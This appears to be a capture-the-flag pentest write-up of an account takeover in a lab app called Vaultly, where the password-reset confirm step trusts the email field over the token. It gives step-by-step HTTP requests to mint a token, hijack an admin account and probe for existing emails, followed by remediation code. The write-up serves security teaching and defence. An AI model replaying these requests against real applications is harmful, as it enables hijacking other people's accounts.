BugForge — 2026.06.10

Vaultly: Account Takeover via Unbound Password-Reset Token

BugForge Password-Reset Account Takeover hard

Part 1: Pentest Report

Executive Summary

Vaultly is a multi-tenant “secure document vault for teams” built on Next.js (app router, React Server Components) with a vaultly_session cookie and a form-POST API under /api/auth/*. The application separates organizations into tenants (our own org and a seeded victim org, Acme Corp) with viewer/editor/admin/owner roles. Testing found that the password-reset confirm endpoint does not bind a reset token to the account it was issued for, allowing any authenticated user to overwrite the password of any other account by email.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Account takeover via password-reset token not bound to account Critical 9.6 CWE-640, CWE-200 POST /api/auth/reset/confirm

The flag-bearing finding is a complete account takeover. Because the confirm step resolves the target account from an attacker-controlled email field while only validating that the supplied token is a live reset token, any user who can mint a token for their own account can take over any other account by email, including the admin of a different organization. A second defect in the same flow returns the reset link directly in the HTTP response instead of emailing it, which makes obtaining a valid token a single request.


Objective

Assess the Vaultly tenant for authentication and access-control defects and recover the engagement flag.


Scope / Initial Access

# Target Application
URL: Vaultly - Secure document vault for teams (BugForge daily, Acme Corp tenant)

# Auth details
- Registration: POST /api/auth/register (orgName, name, email, password)
- Session: vaultly_session cookie issued on login
- Starting privileges: self-registered account in our own organization
- Victim org: Acme Corp, demo accounts advertised on /login
  (admin/owner/editor/[email protected])

The /login page advertises the seeded demo accounts for Acme Corp, so the target email [email protected] was known from the login screen without enumeration.


Reconnaissance: Mapping the Auth Flow

The authentication surface was mapped by walking the registration, login, and password-reset flows and observing each response.

  1. POST /api/auth/register returns “An account with that email already exists” for an address that is already registered, without changing any state, a non-destructive way to confirm an account exists.
  2. POST /api/auth/reset/request is authenticated, takes an empty body, and issues a reset token for the current session user. The form on /settings/security has no email input, so the token is always tied to the logged-in account.
  3. POST /api/auth/reset/request returns the reset link in the HTTP response: a 303 redirect with Location: /settings/security?link=/reset?token=..., rather than delivering the link by email.
  4. POST /api/auth/reset/confirm takes token, email, and password. The account to update is selected by the email value in the request body.
  5. /login advertises Acme Corp demo accounts, fixing the target as [email protected].

Application Architecture

Component Detail
Backend Next.js app router with React Server Components; form-POST API under /api/auth/*
Frontend Next.js (server-rendered)
Auth vaultly_session cookie; password-reset via token
Tenancy Multi-tenant orgs (our org, Acme Corp) with viewer/editor/admin/owner roles

API Surface

Endpoint Method Auth Notes
/api/auth/register POST No Returns “already exists” for known emails (existence oracle)
/api/auth/reset/request POST Yes Empty body; issues token for session user; returns link in response
/api/auth/reset/confirm POST No Selects account by email; only checks token validity
/login GET No Advertises Acme Corp demo accounts

Known Users

Username Role
[email protected] admin (Acme Corp)
[email protected] owner (Acme Corp)
[email protected] editor (Acme Corp)
[email protected] viewer (Acme Corp)

Attack Chain Visualization

┌────────────────────┐   ┌────────────────────┐   ┌────────────────────┐   ┌────────────────────┐
│ Identify target    │   │ reset/request as   │   │ reset/confirm with │   │ Log in as          │
│ [email protected]    │──▶│ our own account →  │──▶│ our token +        │──▶│ [email protected]    │
│ (advertised on     │   │ token returned in  │   │ email=admin@acme   │   │ with new password  │
│ /login)            │   │ HTTP response      │   │ → "Password updated"│   │ → dashboard + flag │
└────────────────────┘   └────────────────────┘   └────────────────────┘   └────────────────────┘

Findings

F1: Account takeover via password-reset token not bound to account

Severity: Critical CVSS v3.1: 9.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-640 (Weak Password Recovery Mechanism), CWE-200 (Exposure of Sensitive Information) Endpoint: POST /api/auth/reset/confirm Authentication required: Yes (to mint the reset token)

Description

Two defects in the password-reset flow compound into a full account takeover:

  1. Token not bound to account. POST /api/auth/reset/confirm resolves the account to update from the email value in the request body and only checks that the supplied token is a valid, unexpired reset token. It does not check that the token was issued for that email. A token minted for our own account is therefore accepted as authorization to overwrite any other account’s password.
  2. Reset link returned in the HTTP response. POST /api/auth/reset/request returns the reset link in-band (a 303 redirect with Location: /settings/security?link=/reset?token=...) instead of emailing it. A valid token for the attacker’s own account is obtained in a single request, with no need to receive any email.

Combined, an authenticated user mints a reset token for their own account, then submits it together with a victim’s email to set a new password on the victim’s account.

Impact

Full takeover of any account by email, including the admin of another organization.

Reproduction

Step 1: Confirm the target account exists (non-destructive)

POST /api/auth/register HTTP/1.1
Content-Type: application/x-www-form-urlencoded

orgName=Probe&name=Probe&[email protected]&password=Probe123x

Response: “An account with that email already exists.” Confirms [email protected] is registered without altering it. (The address was already known from /login; this is the non-destructive confirmation.)

Step 2: Mint a reset token for our own account

POST /api/auth/reset/request HTTP/1.1
Cookie: vaultly_session=<our session>
Content-Type: application/x-www-form-urlencoded

Response: 303 redirect with Location: /settings/security?link=/reset?token=<TOKEN>. The reset link, and therefore a valid token for our own account, is returned directly in the response.

Step 3: Confirm the reset against the victim’s email

POST /api/auth/reset/confirm HTTP/1.1
Content-Type: application/x-www-form-urlencoded

token=<TOKEN>&[email protected]&password=Owned123x

Response: “Password updated.” The token minted for our account was accepted to change the password of [email protected].

Step 4: Log in as the victim

POST /api/auth/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

[email protected]&password=Owned123x

Response: 303 redirect to /dashboard. We are authenticated as the Acme Corp admin. The flag was delivered in the account’s “Password changed” notification.

Remediation

Fix 1: Resolve the account from the token, not from the request body

// BEFORE (Vulnerable)
// Account chosen by attacker-controlled email; token only checked for validity.
async function confirmReset({ token, email, password }) {
  const record = await resetTokens.findValid(token);
  if (!record) return error('This reset link is invalid or has expired');
  const user = await users.findByEmail(email);   // attacker-controlled
  await users.setPassword(user.id, password);
  return ok('Password updated');
}

// AFTER (Secure)
// Account is derived from the token record itself; email is ignored.
async function confirmReset({ token, password }) {
  const record = await resetTokens.findValid(token);
  if (!record) return error('This reset link is invalid or has expired');
  await users.setPassword(record.userId, password);  // bound to token
  await resetTokens.consume(record.id);              // single-use
  return ok('Password updated');
}

Fix 2: Do not return reset links in HTTP responses

// BEFORE (Vulnerable)
const link = `/reset?token=${token}`;
return redirect(303, `/settings/security?link=${encodeURIComponent(link)}`);

// AFTER (Secure)
await mailer.sendResetLink(user.email, token);   // delivered out-of-band
return redirect(303, '/settings/security?sent=1');

Additional recommendations:

  • Make reset tokens single-use and short-lived; invalidate on use and on password change.
  • Keep error responses identical for a bad token and a nonexistent account so the endpoint does not behave as an account oracle, and rate-limit the registration endpoint to reduce its value as an existence oracle.
  • Notify the account owner out-of-band on password change.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: The confirm endpoint authorizes a password change against an attacker-chosen account rather than the account the token was issued for.
  • A07:2021 Identification and Authentication Failures: The password-recovery mechanism does not bind the recovery token to a single account, defeating the purpose of the token.
  • A04:2021 Insecure Design: Returning the reset link in the HTTP response removes the out-of-band possession check that a password reset relies on.

Tools Used

Tool Purpose
Browser + intercepting proxy Walk the auth flows and replay reset requests
curl Issue register/reset/confirm/login requests

References

  • CWE-640: Weak Password Recovery Mechanism - https://cwe.mitre.org/data/definitions/640.html
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor - https://cwe.mitre.org/data/definitions/200.html
  • OWASP Forgot Password Cheat Sheet - https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html

Part 2: Notes / Knowledge

Key Learnings

  • A reset token is only as safe as the binding the server enforces; test the binding directly, don’t read it off the error message. The confirm endpoint resolved the target account from a client-supplied email and only checked the token was a live reset token, never that it was issued for that email. The trap is the error text: “this reset link is invalid or has expired” fires for both a bad token and a nonexistent email, so a failed shot at a guessed admin address looks like binding is enforced when really the address simply didn’t exist. Isolate it by registering a second account you own and resetting it with your own token: if that succeeds, the binding isn’t enforced and the earlier failures were the address, not the binding. On Vaultly, early attempts against a guessed [email protected] returned the same “invalid or expired” and read as if binding were enforced, until a self-owned second account proved otherwise.

  • Use the registration endpoint as a non-destructive existence oracle before touching state-changing flows. Register’s “an account with that email already exists” confirms a target without mutating anything, whereas probing the reset/confirm flow overwrites a password and burns the account you are testing against. When you need to know whether an address exists, reach for the read-only signal first and keep the destructive endpoint for the actual exploit.


Failed Approaches

Approach Result Why It Failed
Reuse an already-consumed reset token against the victim “Invalid or expired” Tokens are single-use once confirmed; needed a fresh token
Reset [email protected] (guessed address) “Invalid or expired” That address does not exist; the error masked the real (unenforced) binding
Supply victim email on reset/request to mint a token for them Token still bound to session user The request form has no email input; the request endpoint always issues for the logged-in account

Tags: #account-takeover #password-reset #broken-access-control #webapp #bugforge Document Version: 1.0 Last Updated: 2026-06-10

#account-takeover #password-reset #broken-access-control #webapp #bugforge